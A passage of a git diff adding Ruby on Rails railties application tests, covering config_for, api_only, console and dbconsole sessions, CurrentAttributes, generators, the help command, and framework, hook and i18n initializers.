+      assert_equal "custom key", Rails.application.config.my_custom_config["key"]
+    end
+
+    test "config_for with syntax error show a more descriptive exception" do
+      app_file "config/custom.yml", <<-RUBY
+      development:
+        key: foo:
+      RUBY
+
+      add_to_config <<-RUBY
+        config.my_custom_config = config_for('custom')
+      RUBY
+
+      exception = assert_raises(RuntimeError) do
+        app "development"
+      end
+
+      assert_match "YAML syntax error occurred while parsing", exception.message
+    end
+
+    test "config_for allows overriding the environment" do
+      app_file "config/custom.yml", <<-RUBY
+        test:
+          key: 'walrus'
+        production:
+            key: 'unicorn'
+      RUBY
+
+      add_to_config <<-RUBY
+          config.my_custom_config = config_for('custom', env: 'production')
+      RUBY
+      require "#{app_path}/config/environment"
+
+      assert_equal "unicorn", Rails.application.config.my_custom_config["key"]
+    end
+
+    test "api_only is false by default" do
+      app "development"
+      refute Rails.application.config.api_only
+    end
+
+    test "api_only generator config is set when api_only is set" do
+      add_to_config <<-RUBY
+        config.api_only = true
+      RUBY
+      app "development"
+
+      Rails.application.load_generators
+      assert Rails.configuration.api_only
+    end
+
+    test "debug_exception_response_format is :api by default if api_only is enabled" do
+      add_to_config <<-RUBY
+        config.api_only = true
+      RUBY
+      app "development"
+
+      assert_equal :api, Rails.configuration.debug_exception_response_format
+    end
+
+    test "debug_exception_response_format can be overridden" do
+      add_to_config <<-RUBY
+        config.api_only = true
+      RUBY
+
+      app_file "config/environments/development.rb", <<-RUBY
+      Rails.application.configure do
+        config.debug_exception_response_format = :default
+      end
+      RUBY
+
+      app "development"
+
+      assert_equal :default, Rails.configuration.debug_exception_response_format
+    end
+
+    test "controller force_ssl declaration can be used even if session_store is disabled" do
+      make_basic_app do |application|
+        application.config.session_store :disabled
+      end
+
+      class ::OmgController < ActionController::Base
+        force_ssl
+
+        def index
+          render plain: "Yay! You're on Rails!"
+        end
+      end
+
+      get "/"
+
+      assert_equal 301, last_response.status
+      assert_equal "https://example.org/", last_response.location
+    end
+
+    private
+      def force_lazy_load_hooks
+        yield # Tasty clarifying sugar, homie! We only need to reference a constant to load it.
+      end
+  end
+end
diff --git a/railties/test/application/console_test.rb b/railties/test/application/console_test.rb
new file mode 100644
index 0000000000..31bef82ccc
--- /dev/null
+++ b/railties/test/application/console_test.rb
@@ -0,0 +1,156 @@
+require "isolation/abstract_unit"
+require "console_helpers"
+
+class ConsoleTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  def setup
+    build_app
+  end
+
+  def teardown
+    teardown_app
+  end
+
+  def load_environment(sandbox = false)
+    require "#{rails_root}/config/environment"
+    Rails.application.sandbox = sandbox
+    Rails.application.load_console
+  end
+
+  def irb_context
+    Object.new.extend(Rails::ConsoleMethods)
+  end
+
+  def test_app_method_should_return_integration_session
+    TestHelpers::Rack.send :remove_method, :app
+    load_environment
+    console_session = irb_context.app
+    assert_instance_of ActionDispatch::Integration::Session, console_session
+  end
+
+  def test_app_can_access_path_helper_method
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get 'foo', to: 'foo#index'
+      end
+    RUBY
+
+    load_environment
+    console_session = irb_context.app
+    assert_equal "/foo", console_session.foo_path
+  end
+
+  def test_new_session_should_return_integration_session
+    load_environment
+    session = irb_context.new_session
+    assert_instance_of ActionDispatch::Integration::Session, session
+  end
+
+  def test_reload_should_fire_preparation_and_cleanup_callbacks
+    load_environment
+    a = b = c = nil
+
+    # TODO: These should be defined on the initializer
+    ActiveSupport::Reloader.to_complete { a = b = c = 1 }
+    ActiveSupport::Reloader.to_complete { b = c = 2 }
+    ActiveSupport::Reloader.to_prepare { c = 3 }
+
+    irb_context.reload!(false)
+
+    assert_equal 1, a
+    assert_equal 2, b
+    assert_equal 3, c
+  end
+
+  def test_reload_should_reload_constants
+    app_file "app/models/user.rb", <<-MODEL
+      class User
+        attr_accessor :name
+      end
+    MODEL
+
+    load_environment
+    assert User.new.respond_to?(:name)
+
+    app_file "app/models/user.rb", <<-MODEL
+      class User
+        attr_accessor :name, :age
+      end
+    MODEL
+
+    assert !User.new.respond_to?(:age)
+    irb_context.reload!(false)
+    assert User.new.respond_to?(:age)
+  end
+
+  def test_access_to_helpers
+    load_environment
+    helper = irb_context.helper
+    assert_not_nil helper
+    assert_instance_of ActionView::Base, helper
+    assert_equal "Once upon a time in a world...",
+      helper.truncate("Once upon a time in a world far far away")
+  end
+end
+
+class FullStackConsoleTest < ActiveSupport::TestCase
+  include ConsoleHelpers
+
+  def setup
+    skip "PTY unavailable" unless available_pty?
+
+    build_app
+    app_file "app/models/post.rb", <<-CODE
+      class Post < ActiveRecord::Base
+      end
+    CODE
+    system "#{app_path}/bin/rails runner 'Post.connection.create_table :posts'"
+
+    @master, @slave = PTY.open
+  end
+
+  def teardown
+    teardown_app
+  end
+
+  def write_prompt(command, expected_output = nil)
+    @master.puts command
+    assert_output command, @master
+    assert_output expected_output, @master if expected_output
+    assert_output "> ", @master
+  end
+
+  def spawn_console(options)
+    Process.spawn(
+      "#{app_path}/bin/rails console #{options}",
+      in: @slave, out: @slave, err: @slave
+    )
+
+    assert_output "> ", @master, 30
+  end
+
+  def test_sandbox
+    spawn_console("--sandbox")
+
+    write_prompt "Post.count", "=> 0"
+    write_prompt "Post.create"
+    write_prompt "Post.count", "=> 1"
+    @master.puts "quit"
+
+    spawn_console("--sandbox")
+
+    write_prompt "Post.count", "=> 0"
+    write_prompt "Post.transaction { Post.create; raise }"
+    write_prompt "Post.count", "=> 0"
+    @master.puts "quit"
+  end
+
+  def test_environment_option_and_irb_option
+    spawn_console("test -- --verbose")
+
+    write_prompt "a = 1", "a = 1"
+    write_prompt "puts Rails.env", "puts Rails.env\r\ntest"
+    @master.puts "quit"
+  end
+end
diff --git a/railties/test/application/current_attributes_integration_test.rb b/railties/test/application/current_attributes_integration_test.rb
new file mode 100644
index 0000000000..5653ec0be1
--- /dev/null
+++ b/railties/test/application/current_attributes_integration_test.rb
@@ -0,0 +1,84 @@
+require "isolation/abstract_unit"
+require "rack/test"
+
+class CurrentAttributesIntegrationTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+  include Rack::Test::Methods
+
+  setup do
+    build_app
+
+    app_file "app/models/current.rb", <<-RUBY
+      class Current < ActiveSupport::CurrentAttributes
+        attribute :customer
+
+        resets { Time.zone = "UTC" }
+
+        def customer=(customer)
+          super
+          Time.zone = customer.try(:time_zone)
+        end
+      end
+    RUBY
+
+    app_file "app/models/customer.rb", <<-RUBY
+      class Customer < Struct.new(:name)
+        def time_zone
+          "Copenhagen"
+        end
+      end
+    RUBY
+
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get "/customers/:action", controller: :customers
+      end
+    RUBY
+
+    app_file "app/controllers/customers_controller.rb", <<-RUBY
+      class CustomersController < ApplicationController
+        def set_current_customer
+          Current.customer = Customer.new("david")
+          render :index
+        end
+
+        def set_no_customer
+          render :index
+        end
+      end
+    RUBY
+
+    app_file "app/views/customers/index.html.erb", <<-RUBY
+      <%= Current.customer.try(:name) || 'noone' %>,<%= Time.zone.name %>
+    RUBY
+
+    require "#{app_path}/config/environment"
+  end
+
+  teardown :teardown_app
+
+  test "current customer is assigned and cleared" do
+    get "/customers/set_current_customer"
+    assert_equal 200, last_response.status
+    assert_match(/david,Copenhagen/, last_response.body)
+
+    get "/customers/set_no_customer"
+    assert_equal 200, last_response.status
+    assert_match(/noone,UTC/, last_response.body)
+  end
+
+  test "resets after execution" do
+    assert_nil Current.customer
+    assert_equal "UTC", Time.zone.name
+
+    Rails.application.executor.wrap do
+      Current.customer = Customer.new("david")
+
+      assert_equal "david", Current.customer.name
+      assert_equal "Copenhagen", Time.zone.name
+    end
+
+    assert_nil Current.customer
+    assert_equal "UTC", Time.zone.name
+  end
+end
diff --git a/railties/test/application/dbconsole_test.rb b/railties/test/application/dbconsole_test.rb
new file mode 100644
index 0000000000..5d89d0e44d
--- /dev/null
+++ b/railties/test/application/dbconsole_test.rb
@@ -0,0 +1,76 @@
+require "isolation/abstract_unit"
+require "console_helpers"
+
+module ApplicationTests
+  class DBConsoleTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include ConsoleHelpers
+
+    def setup
+      skip "PTY unavailable" unless available_pty?
+
+      build_app
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def test_use_value_defined_in_environment_file_in_database_yml
+      Dir.chdir(app_path) do
+        app_file "config/database.yml", <<-YAML
+          development:
+             database: <%= Rails.application.config.database %>
+             adapter: sqlite3
+             pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+             timeout: 5000
+        YAML
+
+        app_file "config/environments/development.rb", <<-RUBY
+          Rails.application.configure do
+            config.database = "db/development.sqlite3"
+          end
+        RUBY
+      end
+
+      master, slave = PTY.open
+      spawn_dbconsole(slave)
+      assert_output("sqlite>", master)
+    ensure
+      master.puts ".exit"
+    end
+
+    def test_respect_environment_option
+      Dir.chdir(app_path) do
+        app_file "config/database.yml", <<-YAML
+          default: &default
+            adapter: sqlite3
+            pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+            timeout: 5000
+
+          development:
+            <<: *default
+            database: db/development.sqlite3
+
+          production:
+            <<: *default
+            database: db/production.sqlite3
+        YAML
+      end
+
+      master, slave = PTY.open
+      spawn_dbconsole(slave, "-e production")
+      assert_output("sqlite>", master)
+
+      master.puts "pragma database_list;"
+      assert_output("production.sqlite3", master)
+    ensure
+      master.puts ".exit"
+    end
+
+    private
+      def spawn_dbconsole(fd, options = nil)
+        Process.spawn("#{app_path}/bin/rails dbconsole #{options}", in: fd, out: fd, err: fd)
+      end
+  end
+end
diff --git a/railties/test/application/generators_test.rb b/railties/test/application/generators_test.rb
new file mode 100644
index 0000000000..fe581db286
--- /dev/null
+++ b/railties/test/application/generators_test.rb
@@ -0,0 +1,198 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class GeneratorsTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      build_app
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def app_const
+      @app_const ||= Class.new(Rails::Application)
+    end
+
+    def with_config
+      require "rails/all"
+      require "rails/generators"
+      yield app_const.config
+    end
+
+    def with_bare_config
+      require "rails"
+      require "rails/generators"
+      yield app_const.config
+    end
+
+    test "allow running plugin new generator inside Rails app directory" do
+      FileUtils.cd(rails_root) { `ruby bin/rails plugin new vendor/plugins/bukkits` }
+      assert File.exist?(File.join(rails_root, "vendor/plugins/bukkits/test/dummy/config/application.rb"))
+    end
+
+    test "generators default values" do
+      with_bare_config do |c|
+        assert_equal(true, c.generators.colorize_logging)
+        assert_equal({}, c.generators.aliases)
+        assert_equal({}, c.generators.options)
+        assert_equal({}, c.generators.fallbacks)
+      end
+    end
+
+    test "generators set rails options" do
+      with_bare_config do |c|
+        c.generators.orm            = :data_mapper
+        c.generators.test_framework = :rspec
+        c.generators.helper         = false
+        expected = { rails: { orm: :data_mapper, test_framework: :rspec, helper: false } }
+        assert_equal(expected, c.generators.options)
+      end
+    end
+
+    test "generators set rails aliases" do
+      with_config do |c|
+        c.generators.aliases = { rails: { test_framework: "-w" } }
+        expected = { rails: { test_framework: "-w" } }
+        assert_equal expected, c.generators.aliases
+      end
+    end
+
+    test "generators aliases, options, templates and fallbacks on initialization" do
+      add_to_config <<-RUBY
+        config.generators.rails aliases: { test_framework: "-w" }
+        config.generators.orm :data_mapper
+        config.generators.test_framework :rspec
+        config.generators.fallbacks[:shoulda] = :test_unit
+        config.generators.templates << "some/where"
+      RUBY
+
+      # Initialize the application
+      require "#{app_path}/config/environment"
+      Rails.application.load_generators
+
+      assert_equal :rspec, Rails::Generators.options[:rails][:test_framework]
+      assert_equal "-w", Rails::Generators.aliases[:rails][:test_framework]
+      assert_equal Hash[shoulda: :test_unit], Rails::Generators.fallbacks
+      assert_equal ["some/where"], Rails::Generators.templates_path
+    end
+
+    test "generators no color on initialization" do
+      add_to_config <<-RUBY
+        config.generators.colorize_logging = false
+      RUBY
+
+      # Initialize the application
+      require "#{app_path}/config/environment"
+      Rails.application.load_generators
+
+      assert_equal Thor::Base.shell, Thor::Shell::Basic
+    end
+
+    test "generators with hashes for options and aliases" do
+      with_bare_config do |c|
+        c.generators do |g|
+          g.orm    :data_mapper, migration: false
+          g.plugin aliases: { generator: "-g" },
+                   generator: true
+        end
+
+        expected = {
+          rails: { orm: :data_mapper },
+          plugin: { generator: true },
+          data_mapper: { migration: false }
+        }
+
+        assert_equal expected, c.generators.options
+        assert_equal({ plugin: { generator: "-g" } }, c.generators.aliases)
+      end
+    end
+
+    test "generators with string and hash for options should generate symbol keys" do
+      with_bare_config do |c|
+        c.generators do |g|
+          g.orm    "data_mapper", migration: false
+        end
+
+        expected = {
+          rails: { orm: :data_mapper },
+          data_mapper: { migration: false }
+        }
+
+        assert_equal expected, c.generators.options
+      end
+    end
+
+    test "api only generators hide assets, helper, js and css namespaces and set api option" do
+      add_to_config <<-RUBY
+        config.api_only = true
+      RUBY
+
+      # Initialize the application
+      require "#{app_path}/config/environment"
+      Rails.application.load_generators
+
+      assert_includes Rails::Generators.hidden_namespaces, "assets"
+      assert_includes Rails::Generators.hidden_namespaces, "helper"
+      assert_includes Rails::Generators.hidden_namespaces, "js"
+      assert_includes Rails::Generators.hidden_namespaces, "css"
+      assert Rails::Generators.options[:rails][:api]
+      assert_equal false, Rails::Generators.options[:rails][:assets]
+      assert_equal false, Rails::Generators.options[:rails][:helper]
+      assert_nil Rails::Generators.options[:rails][:template_engine]
+    end
+
+    test "api only generators allow overriding generator options" do
+      add_to_config <<-RUBY
+      config.generators.helper = true
+      config.api_only = true
+      config.generators.template_engine = :my_template
+      RUBY
+
+      # Initialize the application
+      require "#{app_path}/config/environment"
+      Rails.application.load_generators
+
+      assert Rails::Generators.options[:rails][:api]
+      assert Rails::Generators.options[:rails][:helper]
+      assert_equal :my_template, Rails::Generators.options[:rails][:template_engine]
+    end
+
+    test "api only generator generate mailer views" do
+      add_to_config <<-RUBY
+        config.api_only = true
+      RUBY
+
+      FileUtils.cd(rails_root) { `bin/rails generate mailer notifier foo` }
+      assert File.exist?(File.join(rails_root, "app/views/notifier_mailer/foo.text.erb"))
+      assert File.exist?(File.join(rails_root, "app/views/notifier_mailer/foo.html.erb"))
+    end
+
+    test "ARGV is mutated as expected" do
+      require "#{app_path}/config/environment"
+      Rails::Command.const_set("APP_PATH", "rails/all")
+
+      FileUtils.cd(rails_root) do
+        ARGV = ["mailer", "notifier", "foo"]
+        Rails::Command.const_set("ARGV", ARGV)
+        quietly { Rails::Command.invoke :generate, ARGV }
+
+        assert_equal ["notifier", "foo"], ARGV
+      end
+
+      Rails::Command.send(:remove_const, "APP_PATH")
+    end
+
+    test "help does not show hidden namespaces" do
+      FileUtils.cd(rails_root) do
+        output = `bin/rails generate --help`
+        assert_no_match "active_record:migration", output
+
+        output = `bin/rails destroy --help`
+        assert_no_match "active_record:migration", output
+      end
+    end
+  end
+end
diff --git a/railties/test/application/help_test.rb b/railties/test/application/help_test.rb
new file mode 100644
index 0000000000..0c3fe8bfa3
--- /dev/null
+++ b/railties/test/application/help_test.rb
@@ -0,0 +1,23 @@
+require "isolation/abstract_unit"
+
+class HelpTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  def setup
+    build_app
+  end
+
+  def teardown
+    teardown_app
+  end
+
+  test "command works" do
+    output = Dir.chdir(app_path) { `bin/rails help` }
+    assert_match "The most common rails commands are", output
+  end
+
+  test "short-cut alias works" do
+    output = Dir.chdir(app_path) { `bin/rails -h` }
+    assert_match "The most common rails commands are", output
+  end
+end
diff --git a/railties/test/application/initializers/frameworks_test.rb b/railties/test/application/initializers/frameworks_test.rb
new file mode 100644
index 0000000000..eb2c578f91
--- /dev/null
+++ b/railties/test/application/initializers/frameworks_test.rb
@@ -0,0 +1,274 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class FrameworksTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      build_app
+      FileUtils.rm_rf "#{app_path}/config/environments"
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    # AC & AM
+    test "set load paths set only if action controller or action mailer are in use" do
+      assert_nothing_raised do
+        add_to_config <<-RUBY
+          config.root = "#{app_path}"
+        RUBY
+
+        use_frameworks []
+        require "#{app_path}/config/environment"
+      end
+    end
+
+    test "sets action_controller and action_mailer load paths" do
+      add_to_config <<-RUBY
+        config.root = "#{app_path}"
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      expanded_path = File.expand_path("app/views", app_path)
+      assert_equal expanded_path, ActionController::Base.view_paths[0].to_s
+      assert_equal expanded_path, ActionMailer::Base.view_paths[0].to_s
+    end
+
+    test "allows me to configure default url options for ActionMailer" do
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          config.action_mailer.default_url_options = { :host => "test.rails" }
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert_equal "test.rails", ActionMailer::Base.default_url_options[:host]
+    end
+
+    test "Default to HTTPS for ActionMailer URLs when force_ssl is on" do
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          config.force_ssl = true
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert_equal "https", ActionMailer::Base.default_url_options[:protocol]
+    end
+
+    test "includes url helpers as action methods" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get "/foo", :to => lambda { |env| [200, {}, []] }, :as => :foo
+        end
+      RUBY
+
+      app_file "app/mailers/foo.rb", <<-RUBY
+        class Foo < ActionMailer::Base
+          def notify
+          end
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert Foo.method_defined?(:foo_url)
+      assert Foo.method_defined?(:main_app)
+    end
+
+    test "allows to not load all helpers for controllers" do
+      add_to_config "config.action_controller.include_all_helpers = false"
+
+      app_file "app/controllers/application_controller.rb", <<-RUBY
+        class ApplicationController < ActionController::Base
+        end
+      RUBY
+
+      app_file "app/controllers/foo_controller.rb", <<-RUBY
+        class FooController < ApplicationController
+          def included_helpers
+            render :inline => "<%= from_app_helper -%> <%= from_foo_helper %>"
+          end
+
+          def not_included_helper
+            render :inline => "<%= respond_to?(:from_bar_helper) -%>"
+          end
+        end
+      RUBY
+
+      app_file "app/helpers/application_helper.rb", <<-RUBY
+        module ApplicationHelper
+          def from_app_helper
+            "from_app_helper"
+          end
+        end
+      RUBY
+
+      app_file "app/helpers/foo_helper.rb", <<-RUBY
+        module FooHelper
+          def from_foo_helper
+            "from_foo_helper"
+          end
+        end
+      RUBY
+
+      app_file "app/helpers/bar_helper.rb", <<-RUBY
+        module BarHelper
+          def from_bar_helper
+            "from_bar_helper"
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get "/:controller(/:action)"
+        end
+      RUBY
+
+      require "rack/test"
+      extend Rack::Test::Methods
+
+      get "/foo/included_helpers"
+      assert_equal "from_app_helper from_foo_helper", last_response.body
+
+      get "/foo/not_included_helper"
+      assert_equal "false", last_response.body
+    end
+
+    test "action_controller api executes using all the middleware stack" do
+      add_to_config "config.api_only = true"
+
+      app_file "app/controllers/application_controller.rb", <<-RUBY
+        class ApplicationController < ActionController::API
+        end
+      RUBY
+
+      app_file "app/controllers/omg_controller.rb", <<-RUBY
+        class OmgController < ApplicationController
+          def show
+            render json: { omg: 'omg' }
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get "/:controller(/:action)"
+        end
+      RUBY
+
+      require "rack/test"
+      extend Rack::Test::Methods
+
+      get "omg/show"
+      assert_equal '{"omg":"omg"}', last_response.body
+    end
+
+    # AD
+    test "action_dispatch extensions are applied to ActionDispatch" do
+      add_to_config "config.action_dispatch.tld_length = 2"
+      require "#{app_path}/config/environment"
+      assert_equal 2, ActionDispatch::Http::URL.tld_length
+    end
+
+    test "assignment config.encoding to default_charset" do
+      charset = "Shift_JIS"
+      add_to_config "config.encoding = '#{charset}'"
+      require "#{app_path}/config/environment"
+      assert_equal charset, ActionDispatch::Response.default_charset
+    end
+
+    # AS
+    test "if there's no config.active_support.bare, all of ActiveSupport is required" do
+      use_frameworks []
+      require "#{app_path}/config/environment"
+      assert_nothing_raised { [1, 2, 3].sample }
+    end
+
+    test "config.active_support.bare does not require all of ActiveSupport" do
+      add_to_config "config.active_support.bare = true"
+
+      use_frameworks []
+
+      Dir.chdir("#{app_path}/app") do
+        require "#{app_path}/config/environment"
+        assert_raises(NoMethodError) { "hello".exclude? "lo" }
+      end
+    end
+
+    # AR
+    test "active_record extensions are applied to ActiveRecord" do
+      add_to_config "config.active_record.table_name_prefix = 'tbl_'"
+      require "#{app_path}/config/environment"
+      assert_equal "tbl_", ActiveRecord::Base.table_name_prefix
+    end
+
+    test "database middleware doesn't initialize when activerecord is not in frameworks" do
+      use_frameworks []
+      require "#{app_path}/config/environment"
+      assert_nil defined?(ActiveRecord::Base)
+    end
+
+    test "use schema cache dump" do
+      Dir.chdir(app_path) do
+        `rails generate model post title:string;
+         bin/rails db:migrate db:schema:cache:dump`
+      end
+      require "#{app_path}/config/environment"
+      ActiveRecord::Base.connection.drop_table("posts") # force drop posts table for test.
+      assert ActiveRecord::Base.connection.schema_cache.data_sources("posts")
+    end
+
+    test "expire schema cache dump" do
+      Dir.chdir(app_path) do
+        `rails generate model post title:string;
+         bin/rails db:migrate db:schema:cache:dump db:rollback`
+      end
+      require "#{app_path}/config/environment"
+      assert !ActiveRecord::Base.connection.schema_cache.data_sources("posts")
+    end
+
+    test "active record establish_connection uses Rails.env if DATABASE_URL is not set" do
+      begin
+        require "#{app_path}/config/environment"
+        orig_database_url = ENV.delete("DATABASE_URL")
+        orig_rails_env, Rails.env = Rails.env, "development"
+        ActiveRecord::Base.establish_connection
+        assert ActiveRecord::Base.connection
+        assert_match(/#{ActiveRecord::Base.configurations[Rails.env]['database']}/, ActiveRecord::Base.connection_config[:database])
+      ensure
+        ActiveRecord::Base.remove_connection
+        ENV["DATABASE_URL"] = orig_database_url if orig_database_url
+        Rails.env = orig_rails_env if orig_rails_env
+      end
+    end
+
+    test "active record establish_connection uses DATABASE_URL even if Rails.env is set" do
+      begin
+        require "#{app_path}/config/environment"
+        orig_database_url = ENV.delete("DATABASE_URL")
+        orig_rails_env, Rails.env = Rails.env, "development"
+        database_url_db_name = "db/database_url_db.sqlite3"
+        ENV["DATABASE_URL"] = "sqlite3:#{database_url_db_name}"
+        ActiveRecord::Base.establish_connection
+        assert ActiveRecord::Base.connection
+        assert_match(/#{database_url_db_name}/, ActiveRecord::Base.connection_config[:database])
+      ensure
+        ActiveRecord::Base.remove_connection
+        ENV["DATABASE_URL"] = orig_database_url if orig_database_url
+        Rails.env = orig_rails_env if orig_rails_env
+      end
+    end
+
+    test "connections checked out during initialization are returned to the pool" do
+      app_file "config/initializers/active_record.rb", <<-RUBY
+        ActiveRecord::Base.connection
+      RUBY
+      require "#{app_path}/config/environment"
+      assert !ActiveRecord::Base.connection_pool.active_connection?
+    end
+  end
+end
diff --git a/railties/test/application/initializers/hooks_test.rb b/railties/test/application/initializers/hooks_test.rb
new file mode 100644
index 0000000000..36926c50ff
--- /dev/null
+++ b/railties/test/application/initializers/hooks_test.rb
@@ -0,0 +1,89 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class HooksTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      build_app
+      FileUtils.rm_rf "#{app_path}/config/environments"
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    test "load initializers" do
+      app_file "config/initializers/foo.rb", "$foo = true"
+      require "#{app_path}/config/environment"
+      assert $foo
+    end
+
+    test "hooks block works correctly without eager_load (before_eager_load is not called)" do
+      add_to_config <<-RUBY
+        $initialization_callbacks = []
+        config.root = "#{app_path}"
+        config.eager_load = false
+        config.before_configuration { $initialization_callbacks << 1 }
+        config.before_initialize    { $initialization_callbacks << 2 }
+        config.before_eager_load    { Boom }
+        config.after_initialize     { $initialization_callbacks << 3 }
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert_equal [1, 2, 3], $initialization_callbacks
+    end
+
+    test "hooks block works correctly with eager_load" do
+      add_to_config <<-RUBY
+        $initialization_callbacks = []
+        config.root = "#{app_path}"
+        config.eager_load = true
+        config.before_configuration { $initialization_callbacks << 1 }
+        config.before_initialize    { $initialization_callbacks << 2 }
+        config.before_eager_load    { $initialization_callbacks << 3 }
+        config.after_initialize     { $initialization_callbacks << 4 }
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert_equal [1, 2, 3, 4], $initialization_callbacks
+    end
+
+    test "after_initialize runs after frameworks have been initialized" do
+      $activerecord_configurations = nil
+      add_to_config <<-RUBY
+        config.after_initialize { $activerecord_configurations = ActiveRecord::Base.configurations }
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert $activerecord_configurations
+      assert $activerecord_configurations["development"]
+    end
+
+    test "after_initialize happens after to_prepare in development" do
+      $order = []
+      add_to_config <<-RUBY
+        config.cache_classes = false
+        config.after_initialize { $order << :after_initialize }
+        config.to_prepare { $order << :to_prepare }
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert_equal [:to_prepare, :after_initialize], $order
+    end
+
+    test "after_initialize happens after to_prepare in production" do
+      $order = []
+      add_to_config <<-RUBY
+        config.cache_classes = true
+        config.after_initialize { $order << :after_initialize }
+        config.to_prepare { $order << :to_prepare }
+      RUBY
+
+      require "#{app_path}/config/application"
+      Rails.env.replace "production"
+      require "#{app_path}/config/environment"
+      assert_equal [:to_prepare, :after_initialize], $order
+    end
+  end
+end
diff --git a/railties/test/application/initializers/i18n_test.rb b/railties/test/application/initializers/i18n_test.rb
new file mode 100644
index 0000000000..cee198bd01
--- /dev/null
+++ b/railties/test/application/initializers/i18n_test.rb
@@ -0,0 +1,294 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class I18nTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      build_app
+      FileUtils.rm_rf "#{app_path}/config/environments"
+      require "rails/all"
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def load_app
+      require "#{app_path}/config/environment"
+    end
+
+    def app
+      @app ||= Rails.application
+    end
+
+    def assert_fallbacks(fallbacks)
+      fallbacks.each do |locale, expected|
+        actual = I18n.fallbacks[locale]
+        assert_equal expected, actual, "expected fallbacks for #{locale.inspect} to be #{expected.inspect}, but were #{actual.inspect}"
+      end
+    end
+
+    def assert_no_fallbacks
+      assert_not_includes I18n.backend.class.included_modules, I18n::Backend::Fallbacks
+    end
+
+    # Locales
+    test "setting another default locale" do
+      add_to_config <<-RUBY
+        config.i18n.default_locale = :de
+      RUBY
+
+      load_app
+      assert_equal :de, I18n.default_locale
+    end
+
+    # Load paths
+    test "no config locales directory present should return empty load path" do
+      FileUtils.rm_rf "#{app_path}/config/locales"
+      load_app
+      assert_equal [], Rails.application.config.i18n.load_path
+    end
+
+    test "locale files should be added to the load path" do
+      app_file "config/another_locale.yml", "en:\nfoo: ~"
+
+      add_to_config <<-RUBY
+        config.i18n.load_path << config.root.join("config/another_locale.yml").to_s
+      RUBY
+
+      load_app
+      assert_equal [
+        "#{app_path}/config/locales/en.yml", "#{app_path}/config/another_locale.yml"
+      ], Rails.application.config.i18n.load_path
+
+      assert_includes I18n.load_path, "#{app_path}/config/locales/en.yml"
+      assert_includes I18n.load_path, "#{app_path}/config/another_locale.yml"
+    end
+
+    test "load_path is populated before eager loaded models" do
+      add_to_config <<-RUBY
+        config.cache_classes = true
+      RUBY
+
+      app_file "config/locales/en.yml", <<-YAML
+en:
+  foo: "1"
+      YAML
+
+      app_file "app/models/foo.rb", <<-RUBY
+        class Foo < ActiveRecord::Base
+          @foo = I18n.t(:foo)
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/i18n',   :to => lambda { |env| [200, {}, [Foo.instance_variable_get('@foo')]] }
+        end
+      RUBY
+
+      require "rack/test"
+      extend Rack::Test::Methods
+      load_app
+
+      get "/i18n"
+      assert_equal "1", last_response.body
+    end
+
+    test "locales are reloaded if they change between requests" do
+      add_to_config <<-RUBY
+        config.cache_classes = false
+      RUBY
+
+      app_file "config/locales/en.yml", <<-YAML
+en:
+  foo: "1"
+      YAML
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/i18n',   :to => lambda { |env| [200, {}, [I18n.t(:foo)]] }
+        end
+      RUBY
+
+      require "rack/test"
+      extend Rack::Test::Methods
+      load_app
+
+      get "/i18n"
+      assert_equal "1", last_response.body
+
+      # Wait a full second so we have time for changes to propagate
+      sleep(1)
+
+      app_file "config/locales/en.yml", <<-YAML
+en:
+  foo: "2"
+      YAML
+
+      get "/i18n"
+      assert_equal "2", last_response.body
+    end
+
+    test "new locale files are loaded" do
+      add_to_config <<-RUBY
+        config.cache_classes = false
+      RUBY
+
+      app_file "config/locales/en.yml", <<-YAML
+en:
+  foo: "1"
+      YAML
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/i18n',   :to => lambda { |env| [200, {}, [I18n.t(:foo)]] }
+        end
+      RUBY
+
+      require "rack/test"
+      extend Rack::Test::Methods
+      load_app
+
+      get "/i18n"
+      assert_equal "1", last_response.body
+
+      # Wait a full second so we have time for changes to propagate
+      sleep(1)
+
+      remove_file "config/locales/en.yml"
+      app_file "config/locales/custom.en.yml", <<-YAML
+en:
+  foo: "2"
+      YAML
+
+      get "/i18n"
+      assert_equal "2", last_response.body
+    end
+
